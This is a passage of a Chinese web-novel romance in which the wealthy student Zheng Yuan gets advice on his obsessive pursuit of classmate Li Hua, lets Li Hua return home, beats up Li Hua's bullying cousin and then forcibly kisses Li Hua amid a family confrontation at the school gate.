“你不懂。”樊瑞抽根烟，递给他一根，“现在的人都迷信，只单纯的娱乐满足不了他们了，空虚的很，得从信仰下手，我过两天就去浙江普陀山请个主持过来，再建个大观音，让主持开开光，塔的名字就叫天音塔，再花个五十多万的打个百求百灵的噱头，名气一传出去，不到半年我就回血了。”
“ 思路是挺好。郑源认同，又不解：“地下室是什么意思。”
“不是吧，你真不懂假不懂？”樊瑞吃惊地看着他，烟都忘了抽，“环艺颜盛表演那天你没去？”
“没有。”郑源说，自从他转走以后，自己就和这边联系的少了。
“环艺颜盛。”樊瑞向他科普，见他不接烟，别在耳朵上，“那我再跟你说个，许嘉环，有印象吗？”
郑源挑眉，这个倒有，“从小当童星那女的？”
“对。”樊瑞说，“她爸是影视巨头，国内没把她捧火，举家搬迁去国外了，最近两年才有动静，她开了个环艺影业，就在云行大厦旁边，环艺颜盛是环艺影业的一个项目。颜盛，意思是漂亮脸蛋的视觉盛宴。有男有女，表演节目的，一旦开始表演，观赏者就可以在自己桌前扔筹码了，说是筹码，实际上换算的全是真金白银，那钱是花花地往她口袋里流啊，这女的当明星不行，从人兜里捞钱是真行。”他略微羡慕嫉妒恨，狠狠抽口烟道：“我们这种搞传统实业的，就是干不过这种打擦边的。”
他笑一声，继续道：“直到捧出当晚的宠儿，事后演员可以和金主进一步沟通。”
郑源听了嘲讽，“绕这么一大圈，不还是色情交易。”
“话不是这么说。”樊瑞笑道：“就跟以前的青楼差不多吧，人家是花魁，可以只卖艺不卖身，你要想让人卖身，你得继续砸钱，有钱人也不在乎这几个钱，再说，如果能保持稳定的关系，无论对谁都是利大于弊，再说这玩意儿，你真不好界定她是不是权色交易，因为人家真有才艺啊，吹拉弹唱，甚至舞刀弄枪，实打实的表演，遑论节目打赏多正常，你就是老百姓听戏，喜欢哪个演员还往台上扔钱呢，她这一出上哪儿都说得过去。”
他又道：“那女的多精明，不会干上不得台面的事儿，表演者有男有女，观赏者牵扯众多，涉及面甚广，她顶多涉及点灰色地带，但绝不违法，就算人家睡了，也是你情我愿的事儿了，牵扯不到她身上，她肯定还没放弃她的明星梦呢。”
郑源道：“所以你也想效仿。”
“那当然，有好的挣钱点子当然得抢。”樊瑞笑他，拍他的肩，“我们不像你小叔啊郑少爷，有国家养着，政府不倒台就永远有饭吃。”樊瑞意味深长地看着他，郑玉安对郑源的用心程度众所周知，这要是说将来不想扶持他往仕途上走，一百万个不信。之所以不让他再跟他们玩，不也是怕他们手段不干净带坏他，再给他惹上麻烦，清白的人生履历上增加污点么。
郑源是知道自己早晚要听从家里安排的，倒不是没勇气单独出去闯，问题是没必要，他爸妈留给他的他都花不完，而且他还得把属于他们家的抢回来呢。他没说话，樊瑞就说到了重点，“这跟你聊个天费劲的，你是谁都不留意，怎么，一心挂在你的小同学上了。”
他调侃似的探他前来的目的，看到郑源脸色微变，心里的猜想得到证实，肯定道：“又闹别扭了你俩？”
正说着，王浩过来告别，樊瑞送了他几步，看到郑源坐在椅子上，叹口气，顺手拿了两瓶汽水走过去，“我真应该再开个副业了，情感导师，五万一次。”
“抢去吧你。”郑源说。
“怎么，我的时间不是时间吗？”樊瑞将耳朵上别的烟递给他，郑源不要：“给我根新的。”
自从不和他们鬼混，他连怎么抽烟都忘了。
“你还挺挑。”樊瑞将烟递给他，给他点着，“说说吧，又怎么了。”
“没怎么。”郑源闷闷不乐，“就是有点闷，来你这儿透透气。”
樊瑞上下打量他，这时才意识到郑玉安或许做的是对的。接触大众生活会让人变的更有人情味儿，竟然还会因为和对象闹别扭而不开心。不像他们，要么是早就利欲熏心，眼里没半点对爱情的渴望，要么就是太早花丛中过，看情爱于儿戏，初吻初夜都不知道丢到哪里去了，更别提初恋和真心了。
挺好的。樊瑞欣慰的目光中有一丝羡慕，过正常人的生活才是人类最本质的进步阶梯，不然走的每一步捷径都会以令人意想不到和难以承受的方式付出代价。他看郑源沉默不做声，也不吵他，过了会儿
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郑源才说：“你喜欢过人吗？”
樊瑞思索了一下，“太久远了，好像上辈子的事儿了，但是我应该喜欢过，可是那个时候，诱惑太多了，喜欢这种感觉反而不强烈，也被其他欲望淡化了，所以当我反应过来是喜欢的时候，人家已经不喜欢我了，那喜欢不喜欢的就没什么用了。”
郑源不解：“你后来没有喜欢的人吗？”
樊瑞摇头：“没有了，也不敢有。因为越长越大吧，你就说我所处的这个环境，我每天操心的事儿那么多，这山头是我的，那山头也是我的，人家想跟我谈情说爱，我没时间，我想跟人家谈情说爱，我要么是看不上他，觉得他比我弱，要么就是觉得人家强，我没安全感，觉得只能玩玩，上上床，其他的，就再也近不了。”
他看向郑源：“久而久之就失去对爱情的渴望了，寂寞的时候只想找人上床，贪图一时□□的欢愉，爽过后也就不了了之了，所以，其实我还挺羡慕你的，有正儿八经喜欢的人，总比我们强，比我们更像个人。”
郑源笑笑：“但是他不喜欢我，是我一直在强求他。我在想，我是不是真的错了。”
“强扭的瓜甜不甜，你得扭下来才知道。”樊瑞说，说的很现实，“他不见得是不喜欢你，是你把他捧的太高，让他忘乎所以，习惯你的付出和卑微。”
郑源看着他，“你什么意思。”
樊瑞嘲笑， “就那天打电话我就看出来了啊，看出来你上杆子追着人家，你知道追人是有技巧的，不是盲目付出，不然你什么都得不到，对方还觉得你得寸进尺。”
郑源瞬间瞪大眼：“他真觉得我得寸进尺！”
樊瑞哈哈大笑，郑源说：“你觉得我该怎么做？”
樊瑞说：“你想要什么？”
“我想要他喜欢我。”
“这不可能，换一个。”樊瑞直白道：“都要强扭的瓜了，你还想让他喜欢你，痴心妄想，再说，他要是能喜欢你，早就喜欢你了，还用等你强扭。”
“但我就想要这个。”郑源说：“我对他强硬不起来，我做不到对他……那样。”
樊瑞诡异沉默：“没看出来啊郑源，你他妈还是个纯情种？”
“这些不重要。”郑源道：“你赶紧给点有用的建议。”
“有用建议……”樊瑞再次沉默，“你这情况我真给你解决不了了，这样吧，我给你推荐个人，你去找他，兴许他能帮你。”
郑源看着他推过来的电话号码，“靠谱吗？”
“靠谱。”樊瑞意味深长地看着他，“就你那点儿小事儿，他要给你解决不了，我樊瑞跟你姓。”
郑源见他这么保证，放下心来，当即拨通了电话。
对面响了一会儿才接，像是在抽烟，听到他细微的喘息声，听起来莫名勾人，让郑源把手机拿的远了点儿，“你好，我是郑源，樊瑞向我推荐的你。”
他看眼樊瑞，樊瑞撑着脑袋看着他。
“你好。”男生声音略哑，但很好听，听起来有些慵懒。
“很高兴认识你。”他说：“我是傅一青。”
50.第 52 章
郑源的感情经验终归比较少，他只觉得傅一青这人身上的确带点不一样的气质，不好说是什么，有点儿违和。这种违和是单看他的穿着，朴实无华，淳朴大众。简单的衣服材料质感，透露着一股廉价。但单看他的脸，又觉得他的眼睛有点勾人，特别是他笑着看你时目不转睛，仿佛两个人是多年未见的老朋友，但他整个人无论是坐还是站，又有点……
骚。
是骚。这是郑源的第一感觉，如果他拿出高不可攀的气质，还算是贴合他的长相，但他很接地气，无论是抽烟还是说话，强烈的反差让他有种风情又性感的魅力，很迷人。郑源几乎一瞬间就明白了樊瑞为什么会喜欢他。
因为樊瑞就好这口，好这口半推半就，欲拒还迎的暧昧拉扯。
正如他们的视线对上，樊瑞看似淡定，实则局促不安地问傅一青最近怎么样。
傅一青坐的很端正，微微偏过头，眼尾的视线可以看到郑源，却在直视樊瑞，他修长的指尖夹根烟，抽了一口没吐，只在张嘴时吐出一个圆圈，温柔地笑：“还好，樊老板呢？”
如果不是郑源夹在中间，他丝毫不怀疑樊瑞会不值钱的把这口眼圈也给吸进肺里。
“挺好的，最近比较忙。”樊瑞搓着手笑：“喝点什么吗？”
烟灰弹在烟灰缸，傅一青垂眸笑着没说话，再抬眼时便看向郑源：“听郑老板的。”
“听我的干什么。”郑源不吃他这套，“你想喝就喝，跟我有什么关系。”
傅一青笑起来，樊瑞踩了郑源一脚，疼的他嘶了一声，怒瞪，却没说话。
“我请你。”樊瑞说，打了个响指，点了几个酒，都是度数不高但入口感觉比较好的。
舔狗。郑源想，就这樊瑞还说他是痴情种。
酒很快上来，傅一青再次低头的瞬间，离他最近的郑源看到他脖子上的红痕，像被咬的，又像被掐的，这季节还有蚊子？他怎么想的就怎么问了。傅一青好笑地扭头看他，这次是发自内心的笑，之前都半真半假，倒让人看的心情舒畅：“不是蚊子，是人。”
“人咬的？”郑源脱口而出，又被樊瑞踩了一脚，当即嗷了一声，“我操。”
可把樊瑞嫉妒坏了，那不甘心的小滋味让心里又酸又涨，偏偏旁边还有个不懂事儿的，“你也太纯情了。”他阴阳怪气地内涵郑源，“怪不得追不到人。”
郑源呸了一声，“我马上就追到了，少他妈嘲讽我。”
傅一青笑着晃荡着酒瓶，他看出来了这郑老板跟他们比起来年纪还是小一些的，便问出重点，“方便跟我更详细地讲讲吗？”
郑源嗯了一声，想了想，开始事无巨细地讲起来，约莫半个小时过后才说清楚，说的口干舌燥，他喝了口酒，又连忙补充，“我要详细的追人步骤，不是几句大道理。”
傅一青品了口酒，托着下巴看他，把他看的仔仔细细，看的郑源僵硬起来：“你看我干嘛。”
傅一青想，当然看你是个小傻子，但是他不能这么说，他想说当然是看你身在福中不知福，喜欢上了个小傻子，这小傻子也已经很喜欢你了，但是小傻子自己也不知道。所以他在做内心的自我斗争，如果是久经情场的，傅一青倒乐意从中作梗坑一坑他，但是，这么纯情的两个小孩儿，处于对青春期的懵懂和对性知识刚启蒙的阶段，虽然他什么孽都造，但是想起自己引诱段喻的时候，那么纯良无辜地看着自己，一颗心都交给自己，从不会心软的人终究是因为爱人慈悲了大众。
他要钱，但他放过他了，看在当初的段喻跟他年龄差不多大的份儿上。
“把你的明恋改成暗恋。”他淡淡地说。
“啥？！”郑源听不明白，“那他怎么知道我喜欢他？”
“他已经知道了。”傅一青说，“你不要再给他更多，不要让他认为你的喜欢是负担。而是让他自己意识到你的喜欢是帮助，是真实的，是没有你自我欲望的。”
察觉到樊瑞一直看着自己，他看向樊瑞，笑了笑，“暗恋最基本的，就是不要去打扰对方的生活，无论他跟谁在一起，又做出多亲密的举动。”
“我……我做不到……”郑源握紧酒杯，“那我得气死。”
“那就气死啊。”傅一青笑起来，“气死也是你自己的事情，不要找别人买单。”
“那我什么时候才能和他在一起？他什么时候才会喜欢上我？”郑源觉得这是一个异常庞大的工程，“我等不及了，我看到他就想亲他。”
“你可以留些照片，在想他时排遣寂寞。”傅一青想到什么，笑了，“注意不要被他发现了。”
“不行。”郑源想了想还是摇头，“我觉得你不靠谱。”
傅一青看着他没说话，只觉得他冥顽不灵，也是，自我意识太强的人都很执拗。他没再说什么，同样打了个响指，点了个小男模。
郑源看着年轻男孩儿坐在他旁边，正心想他玩的真花，就看到傅一青跟那男孩儿说了几句话，那男孩儿看郑源一眼，傅一青便站起身，让他坐在自己的位置上，贴着郑源。
手放在郑源的大腿上。
“我操。”郑源瞬间想站起来，“你他妈干嘛。”
傅一青坐在樊瑞旁边，樊瑞紧张的呼吸都要停止了，见他拿了颗葡萄喂到自己嘴边，眼里的惊喜藏不住：“傅一青……”他想抓他的手，刚张嘴葡萄就塞进了嘴里，傅一青半搂着他的肩，睫毛垂下，在他耳边轻笑着说：“谢谢瑞瑞。”
香气一闪而过，樊瑞的心跳的不行，还没反应过来，就见他
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要走了，他下意识追寻他的背影和气味，嘴里的葡萄又凉又甜，一丝一缕的滑进心肺，像喝醉了。
“你干嘛？”郑源还在极力制止那男孩儿的靠近，男孩儿说：“刚刚那个哥哥说，让我纠缠你十分钟……”虽然他看起来比其他客人要小，但是自己踏进这行的时候年龄也小，再说，干这行干的时间长了，他可是知道有钱人家的小孩儿虽然年龄都不大，看着小，但一个个玩的都挺花，思及此，他又没了多余的想法，一个劲儿的往郑源身上蹭，蹭的他满脸通红，实在是受不住的一把推开他，“滚！”
樊瑞吃着葡萄看笑话，郑源怒喝他：“你他妈看什么？还不赶快把他撵走？”
“好了好了。”樊瑞看郑源是真恼了，制止男孩儿，“该忙你的忙你的去吧。”
男孩儿点头，说：“对了，那哥哥还说，让我跟你说一句话，‘被自己不喜欢的人纠缠就是这个感觉，如果你还不认为自己错了，就再找几个自己不喜欢的人来骚扰自己’。”
男孩儿说完就走了，留郑源自己愣在原地。
原来被不喜欢的人骚扰是这个感觉吗……这也太……操蛋了……虽然他觉得自己处处都挺好的，对李华也挺好的，但是挺好没用啊，不喜欢就是不喜欢，怪不得他越靠近李华越反感，这要是他的话他也忍受不了，所以李华还是很温柔的了……尽管有他威胁的成分在……怪不得会情绪崩溃地说遇见自己真是倒了霉……
不是自己亲身经历还真挺难共情。
原来李华一直是这个滋味。
郑源陷入沉思，所以他说的明恋改成暗恋究竟是什么意思呢？意思就是不要纠缠对吗？除此之外呢？还要怎么做呢？
“他妈的他什么都没说啊。”郑源气的要死，“我他妈花这么多钱就买个？教训？”
“你还想让人跟你说什么？不是说的很明白了吗？”樊瑞一颗心掉在傅一青身上，只会替他说话，“你得自己想明白啊，你克制一点不就好了吗？他现在让你亲身体会到了被不喜欢的人纠缠是什么滋味了，你还不知道该怎么做吗？再说，他也没说就只教你这一个，你先把这个做到了再问他，他肯定还会跟你说的。”
郑源摇头，“我不信。”
就傅一青爱钱那样，能脸都不要的，他可不信他不会借此再讹诈他，他直接打了电话，“我把明恋变暗恋以后，你还会告诉我下步该怎么做吗？”
“当然。”傅一青在回去的路上，声音很轻，“免费。”
说完就挂了电话，根本不给郑源反应的时间。
“操。”郑源烦躁地撂下手机，“一点礼貌都没有。”
樊瑞还沉浸在被傅一青喂葡萄的喜悦里，没管他说什么。
自那以后，李华就发现郑源变了。
51.第 53 章
郑源在密码锁上输入了李华的指纹和瞳孔识别。他看着李华欲言又止，做了好一阵心理建设才说：“你……想来就来，想回家就回家，我——”
“我能回家了吗？！”李华瞬间两眼放光，“真的吗？”
郑源的话被他打断，也被他看的说不出话，不情不愿地嗯了一声。他要牢记，明恋改暗恋，不能强迫。他反复回想那天被男模纠缠的滋味，试图做到同理心。李华简直大喜过望，他没想到竟然会有这么阳光明媚的一天，纵然他在这里吃喝用都提了好几个档次，但这毕竟不是他的家，他内心始终不安，而且他也太长时间没回去，是应该跟舅舅好好交代，这里就像镶嵌着珠宝的山洞，到处黑漆漆一片，他能缩在角落里安眠，却也害怕深处不知名的巨兽。
看着郑源实在是不太好的神情，李华又下意识害怕起来，不会这么轻易吧，自己是不是又惹到他了？可是不是他说可以回去的吗？他叹口气，也是，没什么好开心的，肯定去了没两天还要回来，但是就这回去看看也是好的。
郑源强迫自己背过身，为了爱情，他劝自己，忍辱负重。
但是看到李华那个反应，他又忍不住想要暴躁：那是什么眼神？就那么迫不及待想离开？呆在这里不好吗？他什么没给他？啊啊啊……呼。郑源也长出一口气，OK，冷静，一句话都不要说，像傅一青说的，气死就气死。
没关系。他转过身，僵硬地笑起来：“当然是真的，想回去就回去吧。”
李华畏缩了一下，他那个吃人的眼神和皮笑肉不笑的神情真的有点可怕。
但他也不是自甘放弃的人，当天晚上就回去了，留郑源自己在家。
郑源看着空荡荡的卧室，明明昨天李华还躺在这张床上，现在又没有了。推开卫生间的门，他的牙刷牙缸还在这儿放着，比自己小一半的毛巾也还挂着，但是他回去了。郑源忐忑不安了，他的心有点慌，他急速走到门口想把人拉回来，干什么啊，不要折磨自己了，就这样捆绑着他也挺好的，起码不会面对空荡荡的家了，但是，他又迟疑了，算了，算了算了算了，李华已经很久没有朝自己笑了。巨大的矛盾感拉扯着他，让他又烦躁起来。
实际上他知道，他放跑李华，李华很难或者说，他不会再回来了。
他比任何人都清楚，他不会再来了。
郑源感觉自己有病，干嘛这么虐自己，这该死的喜欢真有那么重要吗？自私就自私了，怎么了，自私总比痛苦好吧？但是他妈的，懦夫啊！废物啊！他就是下不了手啊！他崩溃的抓头发，那他妈该死的傅一青到底顶不顶用？啊？不顶用他得杀了他。不顶用他要他不得好死。他无神地望着房顶，撇了撇嘴。
李华回到舅舅家后明显开心起来，尽管开门的瞬间是令他讨厌的表哥。但踏进家门的刹那，他仿佛落到了实处，也是落地以后才后知后觉，之前自己一直在天空中飘着。在郑源家的那些时间，仿佛过了一段不属于他的人生。他能住那么好的房子，睡那么软的床，一顿饭吃那么多的肉吗？不能。那不是他。所以他一直害怕，总觉得今天得到的所有好处，都会在改天以其他形式还回去。
果然，他还是更适应这样吵闹又贫瘠的家庭。
“李华回来啦？”舅妈笑着，手里端着碗，碗里是洗好的葡萄。
“嗯，舅妈好。”李华在门口换了鞋，顶着表哥不耐烦的目光走进屋，看到刚从卫生间出来的舅舅，笑起来：“舅舅！”
“小华？”舅舅快速走过来，也开心的很，“怎么这个点儿回来了？”
“嗯。”李华不知道怎么说，心虚地敷衍过话题，也有些愧疚：“舅舅……我……我之前……一直没回来……是因为……”
“舅舅知道。” 王信欣慰地拍拍他，“你们班主任给我打电话了，说你这几次考试成绩都很不错，发挥很稳定，让我们放心。学习那么累，回不回家的都是其次，你自己在学校过得好、照顾好自己就行！”
李华愣了一下，啊了一声，茫然了一瞬，不知道说什么，舅舅以为他是感动了，笑着捏捏他的侧脸，顿了一下，又看看他，调侃道：“看来学校伙食不错啊，这脸上都有肉了。”李华的脸瞬间红了。
“好了你俩，站那儿聊什么呢。”冯春霞喊着他们，“快来坐，李华，尝尝舅妈买的葡萄，可甜了。”
李华嗯了一声，坐了过去，和家人一起看了半个小时的电视，进屋了，进屋的时候，他的表哥冯宝跟着他，把他堵在了门口。
“俩孩子培养感情去了。”冯春霞笑着跟王信说，“真好。”
屋里，李华警惕地看着冯宝，冯宝一米七五的个子，几乎一百八十斤，比李华壮太多，他往那儿一站，直接堵住了李华的路。李华说：“你想干什么？”
“让我玩会儿手机。”冯宝说：“我的太卡了。”
“那不是我的手机。”李华说：“已经还给别人了。”
他不傻，回来之前专门把手机留了下来。同样的错误他不会犯第二次。冯宝显然不信，夺过他的书包就翻，李华有恃无恐，坐在椅子上看他发疯。
冯宝找不到，很烦，他的手机好几年前买的了，玩游戏卡的不行，让他烦得要死，三番两次让冯春霞给他买手机，冯春霞都不给他买，反而骂他还不出去挣钱，冯宝又抹不开面子找王信要钱，他有点看不上王信，王信察觉到他不喜欢自己，也很少和他接触，思来想去，只有李华最好欺负，他就等着李华回来抢他的手机。
“你以为我会信吗？”冯宝凶狠道，将他的书包扔在地上，狠狠地踩了两脚，“快老实交出来！不然要你好看！”
他把书踩脏了。李华猛然起身推开他，将书捡起来，恶狠狠道：“滚开。”
冯宝一愣，李华也愣了，随即变换了脸色，看起来很冷漠。他自己都没想到自己会这么说，就像……就像有什么破土而出了一样。他不再懦弱了，指着门口，“出去。”
他的尾音有些发抖，是理智回归后的颤栗，但依然强硬。
“你……”冯宝惊愕，这是之前那个任人拿捏，唯唯诺诺的李华吗？谁给他的勇气啊？他的脸沉下来，连他都敢不给自己好脸色，冯宝恼羞成怒，伸手抢他的书，但他又知道李华学习好，书重要，不然王信那儿没法交代。他眼底暗光一闪，抓住李华的肩膀，猛的向后一推，力的惯性让李华踉跄地摔在地上，后脑勺重重地磕着椅子腿，疼的他耳鸣。他捂着脑袋蜷起膝盖，白着一张脸。
“给你个教训。”冯宝冷哼着说，“我可是你哥！你连你哥的话都不听，小心我去学校找你！”
李华瞪大眼，不顾疼地从地上爬起来冲过来，要抓他的衣领，被他推开，“找死啊你？！”
“你敢！”李华像头豹子，眼底通红地盯着他，气势很凶。
“怕丢人啊？”冯宝得意，他也是从那个年纪过
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来的，知道正是自尊心强的时候，要是在学校逮着李华打一顿，再说他几句坏话，其他学生肯定会看他的笑话，孤立他，看他到时候还敢不敢这么放肆！
李华气的眼泪直掉。他用胳膊抹掉，不想哭，却止不住生理泪水，憋屈和委屈、气愤和无助让他胸腔起伏震荡，抽起气来。冯宝见威胁到位，见好就收，冷哼一声大摇大摆地离开。李华默默收拾了书包，冷着一张脸洗漱，后脑勺隐隐作痛，起了个大包。他垂着眸，出去时自动屏蔽舅舅、舅妈的欢声笑语，回来躺在床上，摸出小手机，想给爸爸妈妈打电话，却看时间已经晚了。天冷了，天一黑农村就休息了。他不能打扰他们，翻来覆去却看到郑源的号码。他无措地眨眼，挤出两滴眼泪，又用手抹掉，放下手机睡觉。
次日，他的脸依旧很苍白，没胃口吃饭，早早起床去学校。都是由舅舅送他一段，他自己走一段，因为再送下去，就不顺路了。李华感觉头重脚轻，舅舅跟他说话他都没听多清。但是舅舅也不在意，嘱咐他好好学习后就离开了。李华步伐沉重地踏进教室，郑源一早就来了，眼底挂着黑眼圈，显然没睡好。他看到李华的脸色，先是皱了下眉，又幸灾乐祸起来，自以为是的认为是他离开了自己所以没睡好，但随即他又认清了现实，“你怎么了？”他关心地问：“生病了？”
李华摇头，不愿多说，心情很差，也很低落。郑源有些急，忍不住想刨根问底，但脑子里紧绷的弦又响了，不行，不可以，他不能强迫李华做任何事，他想说说，不想说不说。郑源深吸一口气，OK，不想说就不说，可以。他不再问，但是他还是担心地摸了摸他的额头，没发烧，可以，只要没生病就行。不跟李华说话，他也不知道该干嘛，盯着李华睡觉。老师也拿他无可奈何。
一整天都在郑源睡觉，李华郁郁寡欢中度过。
晚上放学，郑源踌躇地站在原地，希望李华能看到他眼里的盛情邀约。但是李华没有，他低着头，背着书包，往寝室的方向走去。要不然我也住校吧？郑源想，操，真他妈烦。他见李华不会来了，朝大门口走去，却在大门口看到一个人。
郑源看了一眼就收回目光，擦肩而过时听到那人说：“我找李华。””
郑源停下脚步，“李华？哪个李华？”
冯宝听见有人搭腔，连忙说李华的外貌特征，他不知道他是哪个班的，只能尽力描绘，“我是他哥。”
郑源上下打量他，“你找他干什么？”
冯宝说：“你认识他？”
郑源说：“认识。”
冯宝说：“那你能帮我把他叫出来吗？”
郑源说：“你是他哪个哥？”
冯宝有些烦了，“他表哥，怎么了，你问那么多干什么？”
郑源说：“你找他干什么？”
冯宝说：“当然是有事啊，你到底认不认识他啊？不认识别在这儿装了。”
郑源二话没说，离开了。
冯宝骂了句脏话。
这是他第一次来这所学校，保安看他面生，非要让他给老师打电话，才同意把学生喊出来。但冯宝哪儿来的老师电话？他又知道李华这个狡猾的不会再回家了，那自己去哪儿逮他？他愤恨地在原地跺脚，爆了好几句粗口，才不情不愿地离开。
天黑了，这学校有些偏，路上静悄悄的，暖黄的路灯亮着，冯宝搓搓手，低头看到身后有个影子，他下意识扭头。
52.第 54 章
李华是在第二节大课间的时候接到的电话。舅舅打给班主任的，让他出来一趟。李华不知道发生了什么事，但很紧张。他怕是家里人，爸爸或者妈妈。不然舅舅为什么上课期间找他。他连忙去了大门口，却见还有舅妈，神情憔悴，又怨又怒。李华下意识离远了点。舅舅抓着栏杆问他：“你昨晚在哪儿？”
“在学校。”
舅妈欺过来：“你见哥哥了没？冯宝。”
“没有。”李华摇头，他为什么见他？
“撒谎！”舅妈瞬间反驳，“冯宝说他来找你了！你没见他吗？！是不是你找人报复他？！”
“什么……”李华被她吼的后退两步，茫然又害怕。舅舅狠狠地拉了舅妈一下，“说什么呢你？”
“我说什么？！”王春霞崩溃地大声道：“冯宝说的你没听到吗？！”她双目赤红地盯着李华：“你是不是有台好几万的手机？”
李华瞪大眼，说不出话，他的喉咙被掐住了，面对舅舅焦急的目光，他想逃避的摇头，却像根不会动的木头。下课了，许多学生都陆陆续续跑出来玩，注意到这边的动静，他们站在教学楼上、李华身后、围绕在他身边，看着，指着，窃窃私语。李华心跳加速，“我……”
他的反应无异于默认。
舅舅悔的狠狠拍了下栏杆，重重叹口气：“唉！”
他失望地看眼李华，“我竟然不知道你会做这样的事！”
“我……”李华摇头跑到他跟前，慌张道：“我没有，舅舅，手机不是我的，我……”
“当然不是你的！”王春霞挤到他跟前，“冯宝都跟我们说了！是你偷的！”
李华傻了，竖起一身寒毛，大声反驳：“我不是！我没有！”
“那手机你怎么解释？！”王春霞凶狠地盯着他：“昨天冯宝来找你，你躲起来不见他，却让人暴打他！他现在还在医院里躺着！头上缝了二十多针！昏迷大半夜！他可是你哥啊！你怎么能这么对他？！”
什么……李华茫然地看着他们，冯宝被打了吗？
周边聚集的人越来越多，李华单薄的背影瑟瑟发抖：“我不知道……我没有……”
他声音颤抖，面如土色，连头上的包都钻的心疼。
“干什么呢？”
黑车在王信和王春霞身后停下，郑源透过间隙看到悲惨至极的李华。他下了车，大步走近，皱起眉，目光没移开过：“李华？你没事吧？”
李华无助地看着他，像被雨打的小狗，一瞬间脆弱的要哭出来了。郑源心里操了一声，大声嚷了保安：“你他妈开门啊，等着吃屎呢？！”
保安看戏看的太投入，忘了这尊佛，连忙开了门。
郑源快步走到他身边，二话没说的就搂住了他，“你没事吧？发生什么事了？”
李华摇头，也没挣脱。还是王信先反应过来，碍于面子喊了声：“郑同学。”
啊……李华的舅舅。郑源礼貌地笑了：“舅舅好。”他的目光移到王春霞身上，“这位是……”
“舅妈。”王信介绍，“这是李华的舅妈。”
郑源挑眉，了然，笑着说：“这是发生什么事了？”
王信还记得郑源的身份和背景，笑的很尴尬，“也没什么，就一点家务事，来找小华问问情况，郑同学怎么……这个点来学校？”
“昨晚回去晚了，今早多睡了会儿。”郑源说，“那舅舅问完了吗？问完我带李华回去了。我看他脸色不好，需要去趟医务室。”
王信干笑，连忙道：“问完了问完了，你们赶快回去吧——”
“回什么回？！”王春霞不愿意，“冯宝还在医院躺着，你不让他把话说清楚就这么回去？！”
“舅妈。”李华抬头看她，声音嘶哑：“我没有……不是我……”他哪里有天大的本事找人啊。
“那你说说。”王春霞说：“你的手机是怎么来的，是不是偷的？”
“我没偷！”
“手机？什么手机？”郑源适当地插嘴，“我给你的手机吗？”
李华看他一眼，抿着嘴，没说话。
“啊，那部手机是郑同学给的啊？”王信恍然大悟，甚至长出一口气，笑了，“我就说小华是不可能偷东西的嘛，你这孩子，有什么事儿不早说。”
王春霞瞪大眼，狠狠掐了他一把：“王信你什么意思？噢，不是他偷的就没事儿了？那冯宝挨打怎么说？我算是知道了，你根本就没把冯宝当你亲生儿子！你算老几啊，你以为我看的上你啊，要不是你天天巴结着我，我可能跟你在一起吗？！”
王信脸上瞬间挂不住了，“有什么回家说，你在这儿发什么疯，走了走了。”
“要走你走！我不走！”王春霞抱着膀子，“我王春霞今天就把话撂这儿，我跟你王信还没结婚呢，还不算是一家人，我儿子受了这么重的伤，你今天必须给我个说法，要不然，有你们好看！”
“舅妈，我——”
郑源打断他，耐心忍到了极致，“王阿姨是吧？”
他皮笑肉不笑地表示了礼貌，“你儿子冯宝，是吧？挺胖的那个，昨晚在学校周围晃悠的，打他的是我，跟李华没关系。你有什么气儿朝我撒，我肯定能给你个说法。”
上课铃打响，李华目瞪口呆地看着他：“你……”
王信也愣了，“不是，你，你为什么打他，郑同学，你，你认识他吗？你们之间有过节吗？”
“不认识。”郑源说，“昨天心情不好，他撞枪口上了。”
王春霞炸了：“你算老几啊，你家长在哪儿，快把他们喊过来，你今天不给我说出个一二三我跟你没完！”
“不用喊我家长。”郑源感到很可笑，“我当什么事儿呢，在这儿吵吵半天了，原来就这点破事儿，你想要什么说法？你儿子三更半夜游荡在校园想找李华的麻烦，我没把他打的满地找牙已经不错了，你在这儿嚷嚷什么？不就是点医疗费吗？你让他住，住多长时间我都报销，算是给舅妈和表哥的见面礼了哈。”
他拉着李华走，李华不愿意，被他强制性带走，李华挣脱都挣脱不了，一个劲儿的往回看，身后传来王春霞气急败坏、喋喋不休的咒骂声，王信费了好大的劲儿才把她拉走。李华挣开郑源的桎梏，反手就是一巴掌，直接把郑源打懵了，“我操。”
“你他妈有病啊？”郑源瞬间怒了起来，李华脸色涨红，气的眼眶含泪
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，“谁让你打他的？你凭什么打他？”
“不是李华我说你真他妈有病。”郑源抹了下唇角的血，“你他妈敬酒不吃吃罚酒，软硬不吃是吧？我打他怎么了？我打他不是也替你出气了吗？那他妈不用脑子想就知道不是个好东西，我——”
“我不用你替我着想。”李华一字一顿，他头疼的闭上眼，蹲了下来，“都怪你……都怪你！都怪你非要给我手机！”
要不是手机，冯宝也不会盯上他，不会纠缠他，更不会打他，也不会让他连家都不能回，还被污蔑是偷的！当着那么多人的面被质问、谴责、编排！更不会让舅舅失望，让舅妈怒骂，破坏家庭和谐，一切的一切，都源于手机，源于多管闲事，又一直以为自己是对的郑源！
郑源简直气笑了，他强硬地拉着李华的胳膊把他拽起来，“你有没有点骨气？李华，你舅妈和表哥都他妈不是个好东西，你他妈怪起我来了？谁跟我说的不喜欢他们？不是你吗？不是我替你解决了麻烦，你早就不知道被欺负的哪儿去了，你他妈白眼儿狼啊？！”
他见识了太多的地痞无赖、流氓混混，冯宝那一做派在他眼里简直是毛毛雨，郑源用脚趾头都能想到他是个什么东西，怪不得李华脸色苍白，不愿意说，不是他家里人找事儿，还能是什么？就他回家那一晚脸色就那么差，晚上就有个自称是表哥的人来堵学校，当他妈郑源是傻逼啊？
“我不要你管……”李华甩开他，没甩动，“我不要你管！你放开我！唔——”
郑源吻住了他。
李华宕机了。
他被亲了好几秒以后才反应过来，猛然推开他甩了最重的一巴掌，他惊慌失措地后退靠着墙，使劲用胳膊擦嘴，心跳剧烈，疯了，郑源疯了，这他妈是学校……他转身就跑，郑源被打的偏过头，舌头抵着唇角，他也不知道自己怎么了，就是看到李华那崩溃又无理取闹的模样想惩罚他，想让他闭上嘴巴，想让他……后悔说出那些话。
他在墙角堵住李华，李华慌的瞳孔乱颤，看他一步步逼近，声音尖锐：“你别过来！”
郑源停下脚步，举起双手：“你听我说好吗？”
李华根本听不进去，他今天经历了太多的事，昨天又受了太重的伤，他现在只想藏起来，藏到没人知道的角落里，他打不过郑源，脑袋一直在疼，他害怕他靠近，恐惧战胜了他的自尊心，他呜呜地哭了起来，蹲在角落里，埋着头，抱着脑袋，很小一个。
